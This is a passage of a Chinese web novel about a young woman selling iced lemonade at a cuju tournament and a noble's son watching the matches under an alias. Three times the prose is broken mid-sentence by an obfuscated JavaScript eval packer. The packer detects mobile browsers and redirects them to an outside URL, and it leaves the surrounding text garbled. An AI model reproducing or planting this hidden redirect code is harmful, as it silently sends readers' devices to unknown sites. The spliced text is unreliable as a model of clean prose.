“哎哟！”江清澜回过神来，一跺脚，赶紧搁下毛笔，往厨房那边跑，“锅里炖着羊肉汤呢！” 她们现在是阔起来了。 如今的油卤串串里添了肉食——牛肉串串、五花肉串串、鸡翅、鸭胗。利润也更高，每晚的净利能有七八钱银子。 加上“中彩票”剩下的三十八两、之前赚的三四两，抛开这些日子的花销，也还有三十多两的积蓄。 故而，她们顿顿能吃上肉。今天晚上的，就是白萝卜羊肉汤。 两姐妹赶紧把柴块抽出来、踩熄，掀开锅盖一看，哪里还有汤，白萝卜都烧得黢黑了。 羊肉倒经烧，一块块、一坨坨，还有点儿肉样儿。 团团瘪嘴：“肉啊，可惜了。” 江清澜咬牙：“没事，我们还可以做羊肉串！” 羊汤直接变烧烤。 江清澜把大块羊肉切小，将肉瘦肥间杂地穿在竹签子上，在小炭火上不停翻转。 很快，羊肉串烤得滋滋响，又冒油来又冒烟。 江清澜适时地撒上一把孜然、茱萸粉，让每一块肉均匀地蘸满。 团团拿起一串，鼻子凑上去，深深地吸口气：“啊——好香啊——” 整一串，再饮一口新调配的柠檬水，酸甜可口。团团已不用吩咐，早化身了饕餮…… —— 谢临川纵马跑得快。 到了财赋司时，司里已散了值，杨松正在锁门。 “杨郎君，且慢，”谢临川手里还握着乌油油的马鞭，猛的一指，“我还有个事儿。” 杨松这人胆子小，让那鞭子一指，吓得一哆嗦。 这言郎君半下午就跑出去了，他还以为他不回来了，谁知竟拿着马鞭回来。“言郎君……何……何事？” 谢临川侧身，与杨松擦肩而过后，一脚踹开大门，风一样的跑到墙角柜子处，乱翻一气。 杨松一个人在原地惴惴不安： 前几日，在中瓦江娘子的摊子前，他亲耳听到言郎君把那位女娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626226|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫“阿妹”，当场吓蒙了。 因他知道，那女娘不是别人，正是官家的嫡亲女儿，公主殿下。 那年宫里举行蹴鞠赛，他作为府署小吏，在外场配合禁军执法。不成想，迎面走来两个劲装女子。 一开始，她俩有说有笑的。可不知为甚，两个人很快拌起嘴来，最后竟然扭打在一起，一个把另一个头发抓掉一大把。 两名女娘都是拼了命的，身后的丫鬟拉也拉不住，还是他跑上去，把人给分开了。 这是一件小事，他转头就忘了，哪里知道，后来听府署里传流言，竟说是宝庆公主与福安公主打架，惹得官家生了好大的气。那……那不就是，他那天拉架的那两个女娘？杨松惊呆了。 只是，他分不清谁是宝庆公主，谁是福安公主。 那天晚上，言郎君又说公主是他阿妹，那他就是……就是……杨松的冷汗又要下来了。 正战战兢兢着，谢临川出来了，把一张纸拍在他胸口上：“杨郎君，明日、后日我想告两天假。这是假条，你看是否可行？” 临安府署的点卯制度颇为严格。 除了父丧、母丧，以及圣寿节、圣诞节[1]、元宵节等法定假日外，不可无故告假。 朝廷有专门的稽查队，隔三差五就来查缺卯人员，弄得基层官员们人心惶惶。 但那是理论上。规则是死的，人是活的，实际上怎样，还不是看人下菜。 “自然可行！”杨松点头哈腰，喏喏称是。 莫说是言郎君，这几天府署里告假的人很多，便是为了明后日火焰队、齐云社的决赛。 这可是民间蹴鞠赛里，最精彩的一场，获胜的队伍才可在皇宫里，与禁军蹴鞠队对决。 杨松擦擦额头上的汗，装模作样往假条上瞟了几眼。这一瞟，还真看出了不对： “言……言郎君，假条上缺个事由，不若就写……病假？” 谢临川龙精虎猛、人高马大，浑身有使不完的牛劲儿。 他若是病了，天下就没有健康的人了。 闻言，他哈哈一笑，露出雪白的牙齿：“好，就病假。” 说罢，他脸上挂着笑，风一样地走了。 到了门口，他又想起什么，扯下腰间的东西，远远地扔了过去，朗声道：“这个，送给你玩儿。” 杨松赶紧张开手去接，一股冰凉的触感。 张开手一看，他眼睛都直了：和田玉佩，价值百……百金！ 15. 冰爽柠檬水（二） 次日，早早吃了午饭，匆匆洗了碗，江清澜、团团就把东西收拾好，搬到了院门边。只等车夫上门。 蹴鞠赛共比三场，每天下午申时举行。从今天开始，连赛三天，第三天正好是休沐日。 江米巷到西山蹴鞠场，路程颇远，且这次，江清澜卖的是饮子。 陶盅、罐子、冰块等物料，非常重。 还有些纸幅、浆糊之类的，林林总总的，收拾出了几大筐。 靠脚力是走不去了，她昨日便在马车行租了车。与车夫说好了，午后上门。 刚到未时，车夫就上门了，是个二十来岁的年轻汉子，唤作陈四儿。 此人嘴巴很甜，见她们都把东西搬出来了，就笑道： “哟，二位娘子辛苦了。明日就放院子里好了，我来搬。” 江清澜道：“既如此，明日给你加十文钱。” 陈四儿做老了生意的，这样说就是嘴上客气。哪知，这女娘如此大方，竟直接加了钱。 他高兴得什么似的，一连说了三个好字，三两下，就把东西搬上了车。 坐了半个时辰的马车，到了西山蹴鞠场，陈四儿把东西搬到摊子上便走了。 江清澜两姐妹开始布置摊位。 先把陶盅一个个摆好，这里面装的是兑好了的柠檬水，只没有加冰。到客人买时现加，冰化得慢，爽劲儿才十足。 这样一盅，卖五文钱。 再摆些小瓷杯子，这是给顾客试喝的样品，每个杯子上，还挂了一片小小的柠檬。 纯净的黄，配上加了冰渣的汁水，光是一看，都舒爽沁人心脾。 再把她早前写的广告纸幅拿出来。刷了浆糊，贴在摊子两侧的柱子上，以及顶部的檐下。 如此，柠檬饮子摊，就初具规模了。 她们摊子旁边，是个卖西瓜子儿的老叟，并一个中年汉子。他家瓜子是祖传的秘方，最是香浓。 他们卖了十几年，有口碑了，才能在蹴鞠场里，与主办方的瓜子儿一争高下。 老叟最喜欢闲聊，他不认字儿，见她摊子上花花绿绿的，好奇道：“小娘子，你这写的是啥？” 江清澜端了两杯过去，与他父子二人： “阿翁，郎君，我摊子上写的是‘好喝’。不信你们尝尝，不要钱。” 她给老叟的那杯无冰，给中年汉子的却加了冰。 老叟一喝，捂住了脸：“哎哟，牙酸。”但他也不得不承认，酸中回甜，确实好喝。 中年汉子不像他爹热情，沉默寡言，喝了后面无表情，但立即花了五文钱，买了一盅。 他不买才怪！ 江清澜早看准了，这人才把一干物什拉过来，累得气喘吁吁、热得满头大汗。这一杯加冰的酸甜柠檬水下去，暑气都消了。 第一单生意就这样成了。 江清澜又与他解释：“郎君，我这饮子还有些特别的效力。劳动后体乏，多饮用一些，可快速恢复精力。” 中年汉子点点头，也不搭话，又出蹴鞠场拉货去了。 江清澜便知，他这人套不出话来。 时间还早，蹴鞠场里客人不算多，她也花了两文钱，买了些西瓜子儿，与那老叟闲磕牙。 老年人寂寞呀，话多得很，当下拉拉杂杂的，把这蹴鞠场的事儿说了个遍。 什么哪一年修的、背后的金主是谁、齐云社球头是谁，颠三倒四地摆谈。 江清澜把话题拉回来： “阿翁卖瓜子儿这么多年了，没想过与主办方供货？这样，也免得出来摆摊晒太阳了。” “他们？”老叟嗤笑，“跟他们供货，价压得低，吃得你骨头都不剩。我自己卖，卖多卖少都是自己的。” 江清澜便知，做供应商这一条路是走不通了。 老叟道：“话说回来，咱们能卖几个钱？不过糊口罢了。” 他一指蹴鞠场西边那些雕梁画栋：“若是像丰乐楼一般，把饮食卖给那里边儿的人，那才赚钱。” 除开皇家蹴鞠场，西山蹴鞠场就是临安最豪奢的运动场。老叟所指的西边，修了不少高楼。 最有名者为风云楼，其中遍设豪奢包厢，便是为着王侯公子观看比赛的。 太阳光有些刺眼，江清澜看向风云楼，不免眯起了眼睛…… —— 风云楼，三楼绿茵阁，谢临川推门而入。 阁内，肉香酒香弥漫，莺莺燕燕笑闹。见他来了，众女都停了手中杯盏。 朱明一左一右搂着两个妓.女，有了些醉意，笑道：“流光[1]快来，好的都给你留着呢。” 陈跃身侧也有妓.女陪坐：“流光，自你去了临安府署，咱们哥儿几个好久没聚了。” 朱明之父，乃从二品金吾卫上将军朱从达，朱明如今在大理寺挂了个闲职。 陈跃乃正三品翰林学士承旨刘清之子，今年春天方中举，还未授官。 临安城中，高官子弟间从不缺酒肉朋友。 这二人与谢临川一般，都酷爱蹴鞠，天长日久，三个人就混在一起了。 “我这不是来了。”谢临川把马鞭丢在桌上，一屁.股倒在圈椅里，端起酒盏，仰头就是一口。 饮罢，他对陈跃笑道： “等你做了官，便知点卯他娘的有多烦人了。” “省的、省的，”朱明深有体会，嘻嘻一笑，“来看蹴鞠，别提那些烦心的事儿。” 说罢，一把拍在左边那美貌妓.女的肩膀上。 “去。” 妓.女会意，起身为谢临川倒酒：“奴来伺候世子爷。”面含粉霞，身子柔若无骨，便要倒在他怀里。 谢临川皱眉，以脚发力，身子连着椅子往旁边一挪： “你没长骨头吗？” 妓女倒了个空，腰正好戳在圈椅的木柄上，疼得龇牙咧嘴。听他不悦，忙扑通跪下，浑身瑟瑟发抖。 “哎哟，”朱明打圆场，“知你谢流光爱干净。敏敏可是个清倌儿，我花了大价钱的。” 陈跃道：“你道谁都跟你一样，就好那点子事儿。流光的家教严得很。” “乖乖，不怕，”朱明向敏敏招手，“谢世子与你闹着玩儿呢。”敏敏擦擦泪，爬起来，又倒在朱明怀里。 谢临川没心思关心这些。女人——无论是宝庆公主，还是这些莺莺燕燕，在他心里，就等于一个“烦”字。 当下别过头，去看场上。 比赛开始不过一刻钟，已见了端倪。 火焰队技如其名，擅长猛攻猛打，尤其球头李正，是出了名的神射手。捅.射、垫.射、抽.射、推.射无一不精。 但见场中一着红衣者，戴银色面具，左奔右突，速度极快。只可惜，他始终被三名蓝衣人围着，无法控球。 陈跃喃喃道：“齐云社竟用三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631571|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来防李正。” 时下的蹴鞠场不如现代的大，各方队员都是六人，且没有守门员。齐云社用了三个人防李正，剩下的便只有三人了。 朱明吞下娇娇递上来的葡萄，还在她手上亲了一口，舍不得把色.眯.眯的眼睛从她胸.脯上移开： “不用三个人防怎么办？让李正射门，一场能进八个球。” 但齐云社也有优势，便是力量均衡。反观火焰队，李正风头太胜，其他队员就逊色了。 一旦李正被防住，火焰队的实力就大打折扣。 娇娇捂嘴笑，娇滴滴地道： “哪个队要赢啊？郎君们说呀说的，也不漏个口风。那关朴，奴家都不知买什么了。” 陈跃摇头：“不好说，齐云社着实防得滴水不漏。”看着场上的风起云涌，忽的皱眉，看向谢临川，“这竟是……” 谢临川紧盯场上局势，许久未开口，此时才道：“无锋阵型。” 闻言，连朱明也推开娇娇、敏敏，站起来看。 “齐云社竟秘密训练了这种失传的阵型，怕是专为防李正的吧。” 蹴鞠队员的设置中，依进攻到防守的顺序，一般分为前锋、中场和后卫。 无锋阵型中却没有前锋，相当于减少了进攻，为着将更多力量用于防守。 齐云社用这种阵型有个好处，那便是拖。拖到火焰队的主力李正精疲力竭，他们再改换其他阵型，冲刺进攻。 朱明看明白了，当下一拍大腿，把两锭银子丢在娇娇的酥.胸上： “我赌齐云社赢。这一百两，你去帮我买关朴！” “奴家遵命！”娇娇笑得合不拢嘴，忙去门边唤过小丫鬟，自己又添了十两银子，低声道，“买齐云社赢。” 又踢了许久，双方一个猛攻猛打，一个防守滴水不漏，竟还是零比零。锣声响起，上半场结束，双方队员要休息一刻钟。 这时候，陈跃笑道： “正则[2]，话别说那么早。齐云社这种打法，倒是防住了李正，但要耗费更多人的体能。也许没把李正拖下场，他们自己先累趴下了。” 这个时代，运动医学不发达，比赛中别说累趴下，跑得猝死的都有。 朱明：“这……”又看向谢临川，“流光，你倒是说句话呀。” 谢临川平日最是嬉笑怒骂，此时倒是严肃。闻言，他道：“便是赢了关朴，能得几个钱，你还在乎这个？” 朱明：“不为钱，就为个乐子。” 谢临川：“既是乐子，依自己的判断赢了，岂不是更乐？”说罢，出了绿茵阁，下楼去了。 朱明一脸无辜，看向陈跃：“他……他吃了火药了？” 陈跃看向敏敏，哈哈大笑，幸灾乐祸：“谁让你给他点妓.女的。” 朱明：“……” 时近六月，天气已热，包厢里脂粉味浓重，闻得人气闷。 谢临川下了楼，外面虽也热烘烘的，但好歹有些风。 他绕着场地走了一圈，从各个角度观察了一下双方的阵型变化。 走到东北角时，闻得一道女声，清朗如珠落玉盘、风吹檐铃： “除开戴银色面具人那里，齐云社剩下的三个人，要对决火焰队的五个人。这多累啊。若是此时，火焰队换个厉害的上来，岂不是必胜？” 谢临川心中一震。 因她所说，正是他所想。 16. 冰爽柠檬水（三） 女娘这话若叫陈跃、朱明听见，只会被嘲笑外行。 因为蹴鞠赛中，参赛队员的名字会被提前公布。 有专门的情报员们去收集对手的资料，以布局应对。 蹴鞠比赛进行了这么多年，厉害的球员来来回回就那些。 隐藏多年，继而一鸣惊人的奇兵也不是没有，但极少。 火焰队如果有厉害的奇兵，直接与李正联手，一场就定了胜负。没必要等到后面。 上面说的是常理，但谢临川总觉得不对劲。李正是明晃晃的靶子，齐云社一定会派多人来防，火焰队不可能没有准备。 一边想着，转了角，迎面一横两竖三幅大字撞入眼帘： 冰爽柠檬水。 补充强劲活力，射门充满能量。 恰此时，一股风吹来，拂过面颊时竟然真的有丝丝冰凉之气。 那个眼睛清亮的女娘，正弯着腰，笑盈盈地与小女娘说话。 竟是江娘子？ 谢临川愕然。反应过来后，冷哼了一声。 不是说受了伤，不能弯腰吗？这不是弯得好好的？！ 又想起她关于蹴鞠的那番话，只觉好奇。 这一好奇，就仔细地打量了她一番。 两个女娘皆着茶白窄袖短衫、浅绿百迭裙，头上簪着浅绿的绒花。 这一身打扮说不上华贵，却颇清丽。且一大一小两人，均着一样的服饰，让人眼前一新。 再看她那摊子，一大桶冰放在前面，散发着幽幽凉气——无怪乎，方才他觉得风中有凉意。 除了那句广告语，摊子各处还贴了些大字： 好喝！好喝！好喝！爽！爽！爽！ 谢临川莞尔一笑。 江娘子这个人很聪明。为了赚钱，很舍得花心思。 ——等等，方才她观察得那样仔细，难道是想在蹴鞠队身上赚钱？ …… 江清澜看见谢临川，眼睛一亮，殷勤地打招呼：“郎君，要尝尝柠檬水吗？” 她没忘了那五十两，这帅哥不仅帅，还是位财神爷。 谢临川正在沉思，闻言走到摊前。 他着竹月蓝襕衫，金簪束发，端的是金相玉质、贵气逼人。 方才摊边儿没几个人，此时见他这位贵人去询问了，也三三两两地往上围。 谢临川对周围的人视若无睹，没提方才听墙角的事儿，只瞧着柠檬水新奇，问： “这饮子跟射.门有什么关系？” 江清澜也不跟他提什么钾、钙、功能饮料，只说： “比赛到后期，人的精气神耗尽，妾这柠檬水便是补精养气的，可令人快速恢复体力。如此，射.门就更有力了。” 若是旁人，谢临川定要笑话他弄虚唬人。 但他见过了冰糖樱桃、油卤串串，当下便有些好奇，拿起一杯，啜了一口。 入口是凉，冰没有化尽，密匝匝的有些扎舌头。继而是酸，柠檬的酸中带着清爽，配合着冰，沁人心脾，使得暑气全消。 再来是甜与咸，淡淡的、浅浅的，回味十足。 到了此时，冰渣化尽了，凉意仍在唇齿间。 果然当得起“冰爽”二字！ 谢临川知道，禁军蹴鞠比赛时，太医也会配一些饮子。但那都是中药，绝对不好喝。 江清澜见他神色，又道：“郎君前夜买樱桃，预付了五十两银子。柠檬水随意取用就是。” 谢临川早忘了这事儿了，闻言，深深看了她一眼，粲然一笑：“你倒是会做生意。” 要了两盅柠檬水，一盅加冰，一盅不加，转身就要走。 “郎君，且慢。”江清澜追出来，“郎君是妾的贵客，敢问怎么称呼？” “我姓……”谢临川脱口欲出，又顿住了。 他想起平林说，她不愿入王府。又想起府署那个杨松，一见到他，就瑟瑟发抖。 世上有些人，是这般小家子习气的，见到大人物，舌头就捋不直。 想到江娘子也变成那样，他顿觉扫兴，当下改了口：“我姓言。” 江清澜叉手作礼：“言郎君，妾的摊子就在中瓦那边，欢迎郎君随时来。” 谢临川点点头，提着水盅走了。 回到绿茵阁，下半场比赛刚刚开始。 火焰队的李正被包抄，无法施展拳脚，到比赛快结束时，倒让齐云社进了一颗球。 局势立变，齐云社的关朴价大涨。 …… 谢临川三人离开风云楼。 都上了马了，谢临川想起一事儿，又登登登跑上楼，拎着个水盅下来。 朱明的关朴胜率变大，有些得意忘形。看那陶盅粗劣，他就笑道： “流光，你拎着什么宝贝？咱们去丰乐楼吃酒，还怕没有好饮子吗？” 谢临川不搭话，微微一笑，一鞭子抽在朱明的马屁.股上。 马儿嘶的一声往前猛冲。 朱明没有坐稳。在马上前仰后合、吱哇乱叫。 谢临川朗声大笑，早催马跑远了。 —— 赛事结束，江清澜收了摊，让车夫陈四儿来拉了东西回江米巷后，开始盘账。 柠檬水每盅五文钱，卖了几十盅。 刨去柠檬与糖盐的成本、冰费、车马费、笔墨纸的钱，剩下的有…… 团团掰着手指头数来数去，惊道： “不对呀，咱们今天辛苦一整天，才赚了二钱银子？” 前些日子，在中瓦卖油卤串串，每日的纯利有七八钱银子。今天走这么远的路、搬这么重的货，才赚了二钱。 团团想不通。 江清澜早有谋算，成竹在胸：“你且看着吧，大生意在后头呢。” 她最精准的目标人群是蹴鞠员，来买的有几个，但不多。这可以理解——大赛当前，对饮食，他们当然要小心。吃坏了肚子，可就糟了。 今天，她已经把招牌打出去了。 有几个蹴鞠员尝过。有一个姓高的郎君，还很感兴趣，在她摊子前拉拉杂杂地问了半天。 他一定会再来的。 果然，第二日，她们刚出了摊儿，三个蓝衣劲装青年拥了上来。 高郎君昨天来过了，熟门熟路，指着摊子上的瓶瓶罐罐道： “就是这个，柠檬水，好喝，还得劲儿！” 另一人道：“真的？” 端起小杯子喝了一口，眼睛蓦的睁大了。 高郎君露出得意之色：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634496|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看吧，我没骗你吧。” 怪的是，他走的时候，还恋恋不舍地多看了江清澜两眼。 …… 风云楼，绿茵阁。 “冰爽柠檬水”几个字着实是大，谢临川在三楼上都看得见。 昨日，他带了一盅回去。祖母赞好喝，忍着牙酸，硬把一盅喝光了，今天早上，就请了大夫看牙。 祖母真是…… 谢临川摇摇头，也不知该笑还是该忧，打定主意今天不买了。 一阵锣响，蹴鞠比赛开始了。 双方仍然是昨天的打法，猛攻对严防，上半场零比零结束。 下半场赛事，行进到中途，谢临川深思许久，忽问： “李正左边第二远那人是谁？” 他观察这人很久了，脚步稳健、姿势利落，却从没有去主动控球，像是在隐藏什么。 朱明、陈跃皆不认识：“是个替补吧？” 谢临川沉默不语。 那人正在中场，得了球。李正在其右边，为齐云社三人包围。 忽的，李正一个假动作，让左前方露出了空隙。 机会来了，正该替补传球！李正侧路冲锋！ 千钧一发之际，但见替补面朝右边李正的方向，眼神专注，飞起一脚。砰—— 球竟然被踢向了左边！ 在空中划过漫长的弧线，正正进入了风流眼！ 全场寂静。 接着，响起了排山倒海的欢呼声：“火焰队——火焰队——火焰队——” 朱明一把推开妓子，腾地站起来，蒙蒙然不知所以：“哎，这……这是怎么回事儿？” “他眼睛看着右边的李正，却把球踢进了左边的风流眼？”陈跃喃喃道，也惊呆了。 谢临川抱臂，勾起嘴角一笑：“此人乃火焰队的奇兵。李正都为他打了掩护。” 朱明忙唤了小厮上来：“快去查查，这人是谁。” —— 今日比赛，火焰队二比零，战胜齐云社。 这场蹴鞠赛采用计分制。 昨日齐云社进一球，今日火焰队两球。明日，火焰队只要再进一球，便胜了。而齐云社，要进三球才能胜。若是双方战平，亦是火焰队胜。 因为局势翻转，蹴鞠场外的四个关朴处，有人跺脚哈哈大笑，有人捶地哇哇大哭，一个个的，状若疯癫。 江清澜心里本来美滋滋的，听见这些人叽哩哇啦、又哭又笑，心中感慨：赌博害人！ 她家原来挺好的，就是她爸染上了赌瘾，家才散了的。 一边想一边收拾。今天柠檬水的销量与昨日差不多，但更多的蹴鞠员来买了，还有几个管事模样的人，来问了些话。 正收了陶盅，装在大木桶里，忽觉有些不对劲。 抬头一看，东北角的关朴处，有个身量很高的青年，着火焰队的红衣劲装，正凝视着自己。 他长相颇为清俊，眉宇间却笼罩着一股郁色。 江清澜不明所以，摸了摸自己的脸上，没沾着什么东西啊。 身下有人在拉自己的裙子，低头一看，团团瞪大眼睛，激动得口齿不清：“阿姐，陆……陆阿兄！” 江清澜心中一紧。 前夫哥。